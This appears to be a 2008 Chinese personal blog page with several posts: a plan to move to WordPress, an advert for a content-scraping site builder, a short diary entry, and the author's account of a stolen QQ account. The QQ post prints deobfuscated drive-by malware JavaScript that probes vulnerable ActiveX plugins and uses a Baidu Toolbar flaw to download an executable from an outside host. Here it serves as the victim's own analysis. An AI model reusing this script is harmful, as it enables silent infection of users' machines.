准备告别F2，转投WP了
作者:BaoBaoCool 日期:2008-04-28 02:48
f2blog 的管理团队已经一年多没更新过程序了，3个多月没登陆过论坛了，不知道还是否继续开发~
其实早就想过要放弃，曾经也试过转投boblog，但bo毕竟还是功能上，特别是后台管理功能远不如F2，最后又转回来了
但是这次我决定了，投奔wordpress，这个号称全球下载量突破500万的博客程序，丰富的插件和模板，强大伪静态功能。呵呵~~~
只是现在我还没找到能够转换数据到wp的程序，所以暂时走不了，还在等待……等待
说不定得自己写个了~~~
wp，我来了
EzSites v1.0正式版发布
作者:BaoBaoCool 日期:2008-04-26 00:03
系统名称：EzSites v1.0
系统设计：宝宝酷
授权方式：授权使用
使用请注意：本程序（除bo-blog部分外）为宝宝酷独自开发，著作权自程序完成之日起产生。
版权所有，不得修改本程序任何源代码，不得盗取版权，违者必究！购买授权请联系作者。
本程序为授权使用，请勿传播此程序，请联系程序作者购买。
请勿擅自修改EzSites程序部分，否则直接取消商业用户资格。
在使用中出现任何问题请联系程序作者。
系统介绍：
1、轻松建站，配置几个关键词，内容自动更新！摆脱人肉更新，免去复杂的采集规则配置！
2、支持内容替换，支持正则表达式，支持标签，真正让采集变原创！
3、使用Bo-Blog系统，程序代码及伪静态对搜索引擎友好，提高搜索引擎收录，流量滚滚来！
4、利用Bo-Blog模板资源，避免千篇一律的界面，降低页面相似度。
5、提供百度热门关键词筛选，使系统定位更准确，拒绝风马牛不相及的内容。
6、支持非法信息过滤，让网警不再来找麻烦。
7、多源更新，网站内容更丰富（下一版提供）。
8、所有更新均在后台完成，不影响前台网站打开速度，保证良好用户体验。
9、轻松设置广告位，轻松赚钱。
使用说明：
1、本程序要求服务器支持PHP,MYSQL,IONCUBE
2、如有其他问题或建议，请到http://www.ezsites.cn提出，版本更新也请留意本站。
3、程序或者功能可能会存在一些Bug，欢迎大家到EzSites官方网站提出Bug和功能建议，欢迎使用本程序！^_^
4、最后感谢原来免费发布v0.1和v0.2版本后大家所提出的建议。
milky loves matchy...
作者:lynda 日期:2008-04-20 01:48
milky is my name..
on the back of my cheerleading jacket...
milky loves milk obviously..
but milky loves matchy the best....
milky is leaving for North Carolina next week....
milky hates mokey so bad...
note: milky calls him a monkey...
milky likes Scotland the best...
for those green green grass and big big castles...
with a princess in plaid skirt..
like a mellow dream...
现在的盗QQ伎俩还真不懒
作者:BaoBaoCool 日期:2008-04-14 18:43
今天吃完中饭回来，发现QQ被下线，提示密码错误，再尝试登陆，还是错误。。
糟了，密码被盗了。。。
赶快找回，结果被盗号者申请二代密保了，我自己是没申请过的，无法找回。
再去申诉，结果提示正在申诉中。
我靠，如今这盗号者蛮牛的啊，把我的后路都给堵死了。。。
打电话给腾讯，我操她母亲，客服一直是全忙，打了十几个才有人接，我的长途费呀！~~~
被告知要等他的申诉结果出来后我再继续申诉，我靠~~~~~不过还好，下午5点我再去申诉，可以了。。。
目前等待结果中。。。。
-------------------------
回过头来想想密码什么时候被盗的~
第一反应是前几天在落伍点了风讯的demo站，当时这个站有挂马，但是卡巴斯基没报毒。PS：风讯看来现在真的不行了，连演示站都被别人挂马。。。
然后再回到风讯那个站，现在我当然不敢打开了，本地用PHP来获取网页源代码，最后一行发现iframe和script内容，拿到链接后再提取，解密，再提取，再解密，再提取，再解密…………我也搞不清提取了几次解密了几次，最后获得如下病毒代码，注释是我自己加的。
- <script>
- window.defaultStatus="完成";
- try{
- var e;
- var ado=(document.createElement("object"));
- var kav="20080329";
- ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
- var as=ado.createobject("Adodb.Stream","")
- }
- catch(e){};
- finally{
- if(e!="[object Error]"){
- document.write("<\/script>")
- }else{
- try{
- var f;
- var thunder=new ActiveXObject("DPClient.Vod");
- }
- catch(f){};
- finally{
- if(f!="[object Error]"){
- document.write("<\/script>")
- }
- }
- //迅雷漏洞
- try{
- var g;
- var glworld=new ActiveXObject("GLCHAT.GLChatCtrl.1");
- }
- catch(g){};
- finally{
- if(g!="[object Error]"){
- document.write("<\/SCriPt>")
- }
- }
- //联众游戏聊天室组件漏洞
- try{
- var h;
- var storm=new ActiveXObject("MPS.StormPlayer.1");
- }
- catch(h){};
- finally{
- if(h!="[object Error]"){
- document.write("<\/script>")
- }
- }
- //暴风影音漏洞
- try{
- var i;
- var real=new ActiveXObject("IERPCtl.IERPCtl.1");
- }
- catch(i){};
- finally{
- if(i!="[object Error]"){
- document.write("<\/script>") document.write("<\/script>")
- }
- }
- //real漏洞
- try{
- var j;
- var Baidu=new ActiveXObject("BaiduBar.Tool");
- }
- catch(j){};
- finally{
- if(j!="[object Error]"){
- Baidu["DloadDS"]("http://c.158dm.com/Baidu.cab", "Baidu.exe", 0)
- }
- }
- //百度bar漏洞
- if(f=="[object Error]" && g=="[object Error]" && h=="[object Error]" && i=="[object Error]" && j=="[object Error]") {
- location.replace("about:blank");
- }
- }
- }
- /*Extreme*/
- </script>
然后就是分析代码了，他所利用的这些漏洞我全部没有啊，然后我还试图下载那个baidu的exe文件，卡巴马上报毒。。。
这是怎么回事？？？
只有一种可能，不是这个马，我根本没中这个马。也难怪我卡巴全盘杀毒没一个毒。用最近流行的机器狗和磁碟机专杀也没反应。
那会是什么？
也只有一种可能了，上个星期二去学校附近的网吧上网了，在那里登了QQ
但是我输入密码的时候是用QQ自带软键盘的输入的，哎，看来这个安全加密软键盘也不安全。
再来分析盗号的过程。
盗号者在获得我的QQ号码之后，并不急着改密码，因为他也改不了，而是进行申请二代密保，申请需要最多72小时（好像是），申请成功后就可以重新设置密码了，于是我的密码没了；为了防止我申诉回来，他在我之前进行申诉，导致我无法申诉。 真牛你~~~
今天马上给另外一个QQ号码申请了二代密保，不到1个小时就通过了，哎，看来还是要申请二代保安全。。。
还没申请的赶快去申请吧~~~
希望以上内容对你有点帮助~
ziddu免费网络硬盘，无限空间，不限大小，还可赚钱
作者:BaoBaoCool 日期:2008-04-02 03:36
| Ziddu提供了些什么？ |
|
不但是个免费无限网络硬盘，而且还可通过下载来赚钱，10000次=10美元，推荐一个用户还可得0.1美元。
经本人测试，上传速度不错，下载也不错，有40多K（我注册的是英文站点）。
还不快加入， 点击这里注册
注意：中文站点好像无法注册，总提示验证码错误，请直接到英文站注册
在落伍T东西，总有人删帖，极度无耻
作者:BaoBaoCool 日期:2008-03-31 16:44
GOOGLE开始拖欠农民工工资了
作者:BaoBaoCool 日期:2008-03-31 16:31
[原创] 【落伍首发】彻彻底底防盗链，远离盗链痛苦
作者:BaoBaoCool 日期:2008-03-30 02:36
昨天晚上看见有人发帖说被盗链害惨了，而且还是那种php?url=http://形式盗链
鉴于此，发个本人的方法，让你的站彻彻底底防盗链。
效果：只有在设置的允许的网站上链接才正确显示，其他不管是直接输入到地址栏或者从其他网站点击过去都视为盗链。
演示：http://www.baobaocool.com/images/BaoBaoCool.gif
上面这是个图片链接，真实存在的链接，但是你不管从这里点击过去还是直接到地址栏输入都直接跳转了，但是你到http://www.baobaocool.com/links.html这里看看，那个宝宝酷的logo，它却可以正常显示。
前提
如果你是windows系统，必须安装isapi_rewrite（一般支持伪静态的机子都装了这个）；如果你是Linux/Unix/Freebsd等系统，必须打开mod_rewrite（一般这些系统都打开了这个模块的）。
百度嗑药了
作者:BaoBaoCool 日期:2008-03-27 18:09
昨天百度的im软件百度HI终于开始公测了
晚上在某论坛逛，整版全是百度HI的邀请注册贴
QQ群里面大家聊的也都是百度HI邀请
一晚上，估计百度HI的试用人数就突破几十万了。
所以说，百度很HI，百度嗑药了
我要弄了两个邀请，我的两个帐号都开通了，不过我没有安装HI的软件，所以我也无法邀请别人。。。。
我觉得一个QQ就够了，电脑装的其他的IM软件MSN，淘宝旺旺，网易泡泡，新浪UC，雅虎通。。。基本没用过的
所以百度HI我也只是好玩弄个
个人认为当今中国im市场已经是腾讯只手遮天了，其他软件想超越几乎是不可能的了。。。
当然如果百度花巨资推广百度HI的话。。。。呵呵，站长们又可以大赚一笔了，像赚google的firefox一样。。。。
